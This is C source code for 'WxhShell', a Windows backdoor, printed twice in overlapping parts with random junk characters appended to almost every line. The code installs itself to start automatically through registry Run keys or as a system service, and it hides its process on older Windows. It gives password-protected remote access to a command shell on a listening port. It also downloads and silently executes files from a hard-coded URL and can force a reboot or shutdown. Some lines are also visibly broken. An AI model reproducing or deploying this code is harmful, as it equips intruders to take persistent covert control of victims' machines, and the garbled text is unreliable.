    } V!XT=Ou?6  
  // 关机 fa:V8xa  
  case 'd': { ji] H|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &X`zk  
    if(Boot(SHUTDOWN)) LagHzCB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -&UP[Mq  
    else { []#>r k~  
    closesocket(wsh); =TcT`](o  
    ExitThread(0); y<0RgG1qp  
    } NJqjW  
    break; !\(j[d#  
    } %7vjYvo>  
  // 获取shell Jp#Onl+d6  
  case 's': { ^v+3qm@,  
    CmdShell(wsh); M&q3xo"w  
    closesocket(wsh); W81 dLeTZg  
    ExitThread(0); grWmF3c#  
    break; w /l\p3n  
  } k&dLg5O  
  // 退出 !STa}wl  
  case 'x': { %jc"s\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ROWrkJI>i  
    CloseIt(wsh); [i 7^a/e  
    break; {%! >0@7  
    } $?FA7=_  
  // 离开 &'{?Y;A  
  case 'q': { }r _d{nhi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :rcohzfa  
    closesocket(wsh); <Z:Fnp  
    WSACleanup(); )u67=0s2i+  
    exit(1); $(A LxC  
    break; gfU@`A_N"  
        } QH]G>+LI5  
  } vXUq[,8yf  
  } K'tckJ#%  
m_;<7W&p]  
  // 提示信息 qy$1+>f1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |u5Xi5q.f  
} I4RUXi 5  
  } |vVcO  
M tD{/.D>  
  return; Ak=|wY{  
} Q}(D^rGP3  
;"T,3JQPn6  
// shell模块句柄 7!kbe2/]'  
int CmdShell(SOCKET sock) t,4'\nv*  
{ Of?3|I3 l  
STARTUPINFO si; }(-2a*Z;Y  
ZeroMemory(&si,sizeof(si)); |(Q !$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .CY;-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G~$[(Fhk  
PROCESS_INFORMATION ProcessInfo; j7u\.xu9  
char cmdline[]="cmd"; hxX-iQya  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1O@y >cV  
  return 0; ;:l>Kac  
} }g]O_fN7~  
WPXLN'w+  
// 自身启动模式 jYJRG<*e  
int StartFromService(void) )&$p?kF  
{ 1.6Y=Mh=i[  
typedef struct z pV+W-j]  
{ JA(M'&q4  
  DWORD ExitStatus; KvtX>3#qM  
  DWORD PebBaseAddress; PD$@.pib  
  DWORD AffinityMask; wz1fl#WU  
  DWORD BasePriority; ^\Gukkmh}  
  ULONG UniqueProcessId; (w/)u  
  ULONG InheritedFromUniqueProcessId; :0o,pndU  
}   PROCESS_BASIC_INFORMATION; SGK=WLGM8  
azT@S=,  
PROCNTQSIP NtQueryInformationProcess; R.rxpJ+kU  
W{js9$oJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z.x9SEe1t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @Z{!T)#}j  
o%1dbbh  
  HANDLE             hProcess; !^m,v19Ds<  
  PROCESS_BASIC_INFORMATION pbi; S(MVL!Lm  
x}(p\Efx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1 ^q~NYTK  
  if(NULL == hInst ) return 0; trAIh}Dj  
KH_~DZU*5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eT<T[; m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \&#pJBBG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3<vw#]yL  
n |Is&fy  
  if (!NtQueryInformationProcess) return 0; )cUFb:D*"  
>ngP\&\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {S 2? }  
  if(!hProcess) return 0; KB6'sj  
U) B^R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a-(OAzQ_  
HAOl&\)7"_  
  CloseHandle(hProcess); v==]v2 -  
S{.G=O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u U;]/  
if(hProcess==NULL) return 0; +,$ SZO]  
D1g .Fek5  
HMODULE hMod; b,MzHx=im  
char procName[255]; z&@O\>Q  
unsigned long cbNeeded; "T0s7LWp  
~o?(O1QY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a3?D@@Qnw  
*~H\#N|x  
  CloseHandle(hProcess); W2 p&LP  
1w|C+m/(  
if(strstr(procName,"services")) return 1; // 以服务启动 oBqWIXM  
6OOdVS3\J  
  return 0; // 注册表启动 XA4miQn&  
} CUG3C  
-w#*~Q{'*  
// 主模块 8n`O{8:fi  
int StartWxhshell(LPSTR lpCmdLine) ;(1Xb   
{ fO'"UI  
  SOCKET wsl; PW)Gd +y  
BOOL val=TRUE; o1B8_$aYgc  
  int port=0; hJsYKd8g  
  struct sockaddr_in door; vD@ =V#T  
L%sskV(  
  if(wscfg.ws_autoins) Install(); D <SLv,Y  
CQGq}.Jt!  
port=atoi(lpCmdLine); Q`* v|Lp  
U 4Sxr  
if(port<=0) port=wscfg.ws_port; b!hs|emo;  
{6,  l#z  
  WSADATA data; ;5TQH_g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m(6SiV=D9  
?9I=XTR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c"H59 jE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {~u#.(  
  door.sin_family = AF_INET; m?4L>'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); brXLx +H8  
  door.sin_port = htons(port); dvLO#o{  
KDQqN]rg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yfotq9.=+  
closesocket(wsl); gZ b +m  
return 1; :<w2j 6V  
} LLlt9(^d  
}>T$2"pf  
  if(listen(wsl,2) == INVALID_SOCKET) { R_ |Sg  
closesocket(wsl); rz'A#-?'oG  
return 1; <!m'xOD  
} v0|[w2Q2  
  Wxhshell(wsl); ecg>_%.>  
  WSACleanup(); k.MAX8  
P_{jZ}y(  
return 0; npD`9ff  
&R7N^*He  
} +&j&es  
[h;&r"1  
// 以NT服务方式启动 #MwNyZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6Uik>e7?  
{ m5w ZS>@  
DWORD   status = 0; EqB3f_  
  DWORD   specificError = 0xfffffff; G{C27k>wa  
J/ ! Mt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Za4X ;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .>A`FqV$~+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d@u)'AY%/  
  serviceStatus.dwWin32ExitCode     = 0; +dB/SC-^U  
  serviceStatus.dwServiceSpecificExitCode = 0; =!pfgE  
  serviceStatus.dwCheckPoint       = 0; 7=e!k-G  
  serviceStatus.dwWaitHint       = 0; gs?=yNL  
G5K_e:i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _pM~v>~*+  
  if (hServiceStatusHandle==0) return; 3\~ RWoB0u  
ud}B#{6  
status = GetLastError(); !rwe|"8m?u  
  if (status!=NO_ERROR) &y~EEh|  
{ C~PoC'"q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b{WEux{)  
    serviceStatus.dwCheckPoint       = 0; Gs7#W:e7  
    serviceStatus.dwWaitHint       = 0; Ivdg1X  
    serviceStatus.dwWin32ExitCode     = status; %8N=4vTJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Vj uQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SA1| 7  
    return; p l.D h  
  } O,>`#?  
[LcHO] _^M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =%UX"K`  
  serviceStatus.dwCheckPoint       = 0; $&>z`bAS>  
  serviceStatus.dwWaitHint       = 0; p=-:Z?EW1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `tZ-8f  
} _t+.I9kQ  
"h>B`S  
// 处理NT服务事件,比如:启动、停止 `VB]4i}u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EoOB0zo}Y+  
{ `fA|])3T  
switch(fdwControl) &-s/F`  
{ X?Yp=%%  
case SERVICE_CONTROL_STOP: NDt +m  
  serviceStatus.dwWin32ExitCode = 0; OB&lq.r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5qx,b&^w  
  serviceStatus.dwCheckPoint   = 0; AnUOv 2  
  serviceStatus.dwWaitHint     = 0; ,*Vt53@E  
  { Q:/BC= ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F N)vFQ#J  
  } kq m$a  
  return; 5/m^9@A  
case SERVICE_CONTROL_PAUSE: k&kx%skz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uk\-"dS  
  break; k OycS  
case SERVICE_CONTROL_CONTINUE: :vqfWK6mv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q_sQC5:s  
  break; pO~lVM  
case SERVICE_CONTROL_INTERROGATE: No1*~EQ  
  break; MK*WStY  
}; ^71!.b%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;g M$%!&  
} w N-np3k  
[nBdq"K  
// 标准应用程序主函数 !x, ;&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v;r!rZX  
{ mnwYv..ePz  
LZ"yMnhOf  
// 获取操作系统版本 W%)uKQha  
OsIsNt=GetOsVer(); ebuR-9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ki"o0u  
$xWebz0  
  // 从命令行安装 :())%Xu3  
  if(strpbrk(lpCmdLine,"iI")) Install(); qg(rG5kD@  
h)vRvfcmY  
  // 下载执行文件  YjV-70'  
if(wscfg.ws_downexe) { e=]>TeqG0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4IW7^Pq`P  
  WinExec(wscfg.ws_filenam,SW_HIDE); }E}b/ulg1  
} KG5h$eM'  
v@8 =u4  
if(!OsIsNt) { n<. T6  
// 如果时win9x,隐藏进程并且设置为注册表启动 quvdm68  
HideProc(); hkh b8zS  
StartWxhshell(lpCmdLine); JMnk~8O  
} wGXnS"L!  
else 8\85Wk{b  
  if(StartFromService()) [ NSsT>C  
  // 以服务方式启动 R-8/BTls7  
  StartServiceCtrlDispatcher(DispatchTable); le*1L8n$'  
else NvZ )zE  
  // 普通方式启动 axRzn:f  
  StartWxhshell(lpCmdLine); 7:Jyu/*]  
-]uN16\ F  
return 0; ?&H1C4   
} T vEN0RV2  
(Nky?*  
+:s]>R eDa  
'_~X(izc  
=========================================== j70]2NgX  
ZW]Q|vPh4U  
7,\Uk|  
m}x&]">9  
| CC(`<\R  
e@-"B9~   
" ae)0Yu`*G7  
UHtxzp =[  
#include <stdio.h> \Lz2"JI  
#include <string.h> Q}?yj,D D  
#include <windows.h> :oH~{EQ  
#include <winsock2.h> .Q,IOCHk  
#include <winsvc.h> "]jGCo>9  
#include <urlmon.h> =-ky%3:`@  
y11/:|  
#pragma comment (lib, "Ws2_32.lib") 9Yh0' <Z  
#pragma comment (lib, "urlmon.lib") J| orvnkK  
09f:%!^u  
#define MAX_USER   100 // 最大客户端连接数 Al^n&Aa+\  
#define BUF_SOCK   200 // sock buffer 7VF^&6  
#define KEY_BUFF   255 // 输入 buffer \~(ww3e  
{|}tp<:2  
#define REBOOT     0   // 重启 _d8k[HAJ|  
#define SHUTDOWN   1   // 关机 iXN7+QO)  
[w%MECTe  
#define DEF_PORT   5000 // 监听端口 8-N8v *0  
RaK fYLw  
#define REG_LEN     16   // 注册表键长度 Q9lw~"  
#define SVC_LEN     80   // NT服务名长度 %f{1u5+5  
d2Z kchf  
// 从dll定义API Y4%Bx8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +DWmutL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B%v2)+?@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .b4_O CGg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9.KOrg5}L  
:qV}v2  
// wxhshell配置信息 ;CU<\  
struct WSCFG { *0 ;DCUv  
  int ws_port;         // 监听端口 x*H4o{o0  
  char ws_passstr[REG_LEN]; // 口令 \haJe~  
  int ws_autoins;       // 安装标记, 1=yes 0=no FtUOgL)|  
  char ws_regname[REG_LEN]; // 注册表键名 &S}i)Nu6J  
  char ws_svcname[REG_LEN]; // 服务名 TzXivE@mm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [<)/ c>Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )`RF2Y-A7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cxTP4\T\E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rz]0i@ehv'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &^ sgR$m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >K{/Jx&  
 +X i#y}%  
}; Md \yXp  
`U4R% qhWA  
// default Wxhshell configuration Bi"7FF(z  
struct WSCFG wscfg={DEF_PORT, $XFiH~GI  
    "xuhuanlingzhe", XE_|H1&j  
    1, tHSe>*eC  
    "Wxhshell", {x $H# <Y  
    "Wxhshell", ^X6fgsjz  
            "WxhShell Service", tJ>OZ  
    "Wrsky Windows CmdShell Service", v;S7i>\  
    "Please Input Your Password: ", (+<SR5,/3  
  1, |Ire#0Nwx  
  "http://www.wrsky.com/wxhshell.exe", Do7&OBI~  
  "Wxhshell.exe" <RmI)g>'_^  
    }; %]JSDb=C  
u>Z0ug6x  
// 消息定义模块 Epm\ =s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #zC_;u$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0]l _qxv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kji*7a?y  
char *msg_ws_ext="\n\rExit."; QE&rpF7l{  
char *msg_ws_end="\n\rQuit."; PaF`dnJ  
char *msg_ws_boot="\n\rReboot..."; )%q]?@kB  
char *msg_ws_poff="\n\rShutdown..."; j2T Z`Z?a^  
char *msg_ws_down="\n\rSave to "; mie<jha  
tBgB>-h(  
char *msg_ws_err="\n\rErr!"; *0)vsBi  
char *msg_ws_ok="\n\rOK!"; _ x&Y'X|  
8(UUc>g  
char ExeFile[MAX_PATH]; ylF%6!V}4V  
int nUser = 0; ':8yp|A|  
HANDLE handles[MAX_USER]; U2=l; R{  
int OsIsNt; ,K Ebnk|i  
 Z(p kj  
SERVICE_STATUS       serviceStatus; }EmNSs`$r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SxLu<  
gc-yUH0I  
// 函数声明 #%U5,[<a8  
int Install(void); _tZT  
int Uninstall(void); \2#>@6Sqrl  
int DownloadFile(char *sURL, SOCKET wsh); xU#f>@v!  
int Boot(int flag); d\}r.pD  
void HideProc(void); 3]BK*OqJ  
int GetOsVer(void); X cmR/+  
int Wxhshell(SOCKET wsl); &g R+D  
void TalkWithClient(void *cs); DfP4 `  
int CmdShell(SOCKET sock); q.0a0 /R  
int StartFromService(void); q3\ YL?  
int StartWxhshell(LPSTR lpCmdLine); <Q'J=;vV  
S[rz=[7{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NF <|3|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8 /1 sy.R  
Zr,:i MPZ  
// 数据结构和表定义 G2Eke;  
SERVICE_TABLE_ENTRY DispatchTable[] = x@3Ix, b'  
{ i-)OY,  
{wscfg.ws_svcname, NTServiceMain}, z{U2K '  
{NULL, NULL} (]0JI1 d  
}; smQ<lwA  
=Jfo=`da  
// 自我安装 tgy*!B6a~  
int Install(void) |Id0+-V ?  
{ !Mp.jE  
  char svExeFile[MAX_PATH]; y@"6Dt|  
  HKEY key; (j;s6g0  
  strcpy(svExeFile,ExeFile); L.XGD|m  
W'x/Kg,w-  
// 如果是win9x系统,修改注册表设为自启动 6p%;:mDB  
if(!OsIsNt) { p`lv$ @q'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uh'{+E;=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]NS{q85  
  RegCloseKey(key); lAU`7uE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e;9Z/);#s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }p 0 \  
  RegCloseKey(key); HV@ C@wmg  
  return 0; Su99A.w  
    } r9<OB`)3+  
  } rf_(pp)  
} (055>D6  
else { <&:OSd:%  
Zq7Y('=`t@  
// 如果是NT以上系统,安装为系统服务 };"-6e/9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -J8&!S8X  
if (schSCManager!=0) 5hwe ul>S  
{ f QSP]?  
  SC_HANDLE schService = CreateService v< qN -zG  
  ( - Te+{  
  schSCManager, SoX\S|}%6[  
  wscfg.ws_svcname, (27bNKr  
  wscfg.ws_svcdisp, v7x %V%K  
  SERVICE_ALL_ACCESS, ygoA/*s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Os--@5e  
  SERVICE_AUTO_START, tB4dkWt.}  
  SERVICE_ERROR_NORMAL, f& P'Kxj_  
  svExeFile, 0Z9>%\km_  
  NULL, Vx$ ?)&  
  NULL, *#p}>\Y{  
  NULL, 4X tIMa28  
  NULL, EaaLN<i@0  
  NULL : p# 5nYi  
  ); 'jAX&7G`  
  if (schService!=0) qKu/~0a/  
  { S- {=4b'  
  CloseServiceHandle(schService); W]b>k lp;  
  CloseServiceHandle(schSCManager); m{T:<:q~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,MH/lQq%  
  strcat(svExeFile,wscfg.ws_svcname); JmL{&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v4c*6(m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [\eh$r\   
  RegCloseKey(key); -I dW-9~9  
  return 0; Gf``0F)  
    } '/l<\b/E  
  } zf+jQ  
  CloseServiceHandle(schSCManager); 4#?Sxs  
} MYyV{W*T>  
} % NSb8@  
<y4hK3wP  
return 1; o~<ith$A*  
} >@?!-Fy5  
~jcdnm]  
// 自我卸载 }7)iLfi  
int Uninstall(void) Z !HQ|')N5  
{ H,8HGL[l  
  HKEY key; L\;n[,.  
"m2g"x a\7  
if(!OsIsNt) { ?r P'PUB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +d/V^ <#  
  RegDeleteValue(key,wscfg.ws_regname); r"HQ>Wn  
  RegCloseKey(key); ZSWKVTi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'x/pV5[hQ  
  RegDeleteValue(key,wscfg.ws_regname); KV&4Ep#  
  RegCloseKey(key); 7dxTyn=  
  return 0; zsM3 [2E*  
  } D@.+B`bA  
} ;W"=s79  
} z)AZ:^!O  
else { LC8&},iu  
\N3A2L)l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \PU7,*2  
if (schSCManager!=0) Q`= ,&;T>  
{ k5M3g*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :c03"jvYE  
  if (schService!=0) (r Tn6[ *  
  { lqaOLZH  
  if(DeleteService(schService)!=0) { N{kp^Byim0  
  CloseServiceHandle(schService); jimWLF5Q5"  
  CloseServiceHandle(schSCManager); &Ul8h,qw  
  return 0; o/dj1a~U  
  } y}5:CZ  
  CloseServiceHandle(schService); ULT,>S6r  
  } t[=-4;  
  CloseServiceHandle(schSCManager); y6#AL<W@=  
} 2g0_[$[m  
} xlKg0 &D  
mCb1^Y  
return 1; `2 6t+Tb  
} rJz`v/:|P  
>]dH1@@  
// 从指定url下载文件 P:8 qm DXo  
int DownloadFile(char *sURL, SOCKET wsh) v?6g. [;?  
{ {wK| C<K  
  HRESULT hr; czG]rl\1  
char seps[]= "/"; *3R3C+ L  
char *token; OV>JmYe1{/  
char *file; ;*+wg5|  
char myURL[MAX_PATH]; 5EX Ghc'  
char myFILE[MAX_PATH]; 4CH/~b1 (  
.:wo ARW!  
strcpy(myURL,sURL); W)~}o<a)[  
  token=strtok(myURL,seps); sa?Ul)L2  
  while(token!=NULL) >U7{EfUJdx  
  { q0t}  
    file=token; [H4)p ,R  
  token=strtok(NULL,seps); ,S V34+(  
  } !pJd^|4A]  
Z%m\/wr  
GetCurrentDirectory(MAX_PATH,myFILE); YP4lizs.  
strcat(myFILE, "\\"); #_pQS}$  
strcat(myFILE, file); xq@_' 3X  
  send(wsh,myFILE,strlen(myFILE),0); Bx" eX>A8  
send(wsh,"...",3,0); bCfw,V{sce  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )&px[Dbx  
  if(hr==S_OK) bc3 T8(  
return 0; KAI/*G\z  
else O'.sK pXe  
return 1; {kOTQG?y  
8M6wc394  
} &P:2`\'  
:jHDeF.A  
// 系统电源模块 5fDp"-  
int Boot(int flag) N~! G AaD  
{ sZh| <2  
  HANDLE hToken; lHI?GiB@  
  TOKEN_PRIVILEGES tkp; }trQ<*D  
/RBIZ_  
  if(OsIsNt) { 0J z|BE3Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GOU>j "5}2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5sZqX.XVF  
    tkp.PrivilegeCount = 1; vxZ :l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U$m[{r2M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {8e4TD9E0  
if(flag==REBOOT) { :pw6#yi8`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /r?EY&9G  
  return 0; A$1Gc> C  
} WB|N)3-1  
else { g^)8a;/c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oR@1/lV  
  return 0; u"5 hlccH  
} aB^`3J  
  } 2]'cj  
  else { .T*89cEu  
if(flag==REBOOT) { j 21>\K!p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a0)]W%F  
  return 0; LB\+*P6QM  
} ;=lQMKx0  
else { @!KG;d:l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I4Rd2G_  
  return 0; Wagb|B\  
} /I~(*X  
} B!AJ*  
8;<3Tyjzu  
return 1; "NvB@>S  
} G_v^IM#B=  
HLb`'TC3r+  
// win9x进程隐藏模块 |_u|Td(n  
void HideProc(void) m ?#WQf  
{ Jq8:33s   
<7*d2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W{X5~w(  
  if ( hKernel != NULL ) cL+bMM$4r~  
  { C+vk9:"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xmv^O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "}^}3"/.  
    FreeLibrary(hKernel); Z_ (P^/  
  } PM8*/4Cu.5  
?F^O7\rw  
return; $0,lE+7*  
} M d.^r5r  
{1L{   
// 获取操作系统版本 u,`cmyZ  
int GetOsVer(void) !)HB+yr  
{ \xjI=P'-25  
  OSVERSIONINFO winfo; _r?.%] \.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m~RMe9Qi  
  GetVersionEx(&winfo); / TAza9a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rc#c^F<  
  return 1; ?XnKKw\  
  else #<81`%  
  return 0; LPS]TG\  
} 2|JtRE+  
OR<%h/ \f  
// 客户端句柄模块 .9$ 7 +  
int Wxhshell(SOCKET wsl) "W@>lf?"  
{ rtT*2k*  
  SOCKET wsh; ueLdjASJ  
  struct sockaddr_in client; >vZ^D  
  DWORD myID; KA{ JSi  
u iR[V~  
  while(nUser<MAX_USER) &w{: qBa  
{ =q<t,UP8  
  int nSize=sizeof(client); ^ Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #sb@)Q  
  if(wsh==INVALID_SOCKET) return 1; 6I-Qq?L[H  
{33B%5n"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UO}Yr8Z;  
if(handles[nUser]==0) @% .;}tC  
  closesocket(wsh); _KAg1Ww  
else ftccga  
  nUser++; OYj~"-3y)  
  } Ak+MR EG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [_1K1i"m  
fT0+i nRG  
  return 0; j!/=w q  
} Fh~ pB>t  
`c'R42S A  
// 关闭 socket H57wzG{xG  
void CloseIt(SOCKET wsh) gi JjE  
{ FSHC\8siS  
closesocket(wsh); EzGO/uZ]  
nUser--; i ?]`9z  
ExitThread(0); 2W6t0MgZ  
} !f)^z9QX8  
Qkx}A7sK  
// 客户端请求句柄 bxvpj  
void TalkWithClient(void *cs) &m{vLw  
{ ?xYoCn}Z  
8w9?n3z=}  
  SOCKET wsh=(SOCKET)cs; p(pL"  
  char pwd[SVC_LEN]; 3\H0Nkubts  
  char cmd[KEY_BUFF]; .aD=d\  
char chr[1]; 6&[rA TU+  
int i,j; 7Lx =VX#]q  
Ag_I'   
  while (nUser < MAX_USER) { (T1d!v"~"  
57`9{.HB  
if(wscfg.ws_passstr) { I@l }%L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N5Ih+8zT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (laVmU?I7  
  //ZeroMemory(pwd,KEY_BUFF); 3AcCa>  
      i=0; 6+W`:0je  
  while(i<SVC_LEN) { c|(&6(r  
{7+y56[yu  
  // 设置超时 +~'ap'k m  
  fd_set FdRead; +uB.)wr  
  struct timeval TimeOut; }<mK79m  
  FD_ZERO(&FdRead); mecm,xwm  
  FD_SET(wsh,&FdRead); 5sguv^;C5  
  TimeOut.tv_sec=8; +d JLT}I8M  
  TimeOut.tv_usec=0; 6 u}c543  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _OvIi~KW+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qTrb)95  
=O'>H](Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TmUN@h  
  pwd=chr[0]; 1 2J#}|  
  if(chr[0]==0xd || chr[0]==0xa) { "cx#6Bo|  
  pwd=0; M:cW/&ZJ  
  break; m 4V0e~]  
  } VTs ,Ln!,U  
  i++; UCI !>G  
    } \@F!h8e4  
@{o3NR_  
  // 如果是非法用户,关闭 socket W'f)W4D$6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i3U_G^8  
} %C~LKs5oH  
k/.a yLq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !R3ZyZcX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y!fgc<]'&  
.;jp2^  
while(1) { m$80D,3  
#ByrX\  
  ZeroMemory(cmd,KEY_BUFF); sX|bp)Nw  
8mv}-;  
      // 自动支持客户端 telnet标准   *."a>?D~  
  j=0; T Y*uK  
  while(j<KEY_BUFF) { T5? eb"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kC=h[<'  
  cmd[j]=chr[0]; be+tAp`  
  if(chr[0]==0xa || chr[0]==0xd) { D5jZ;z}  
  cmd[j]=0; } TsND6Ws3  
  break; Is#w=s}2  
  } A v[|G4n  
  j++; WzdE XcY  
    } hVd PO  
yvt :/X  
  // 下载文件 `;v>fTcy  
  if(strstr(cmd,"http://")) { J6J|&Z~UT,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 48"=,IrM  
  if(DownloadFile(cmd,wsh)) {B)-+0 6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UQ.DKUg  
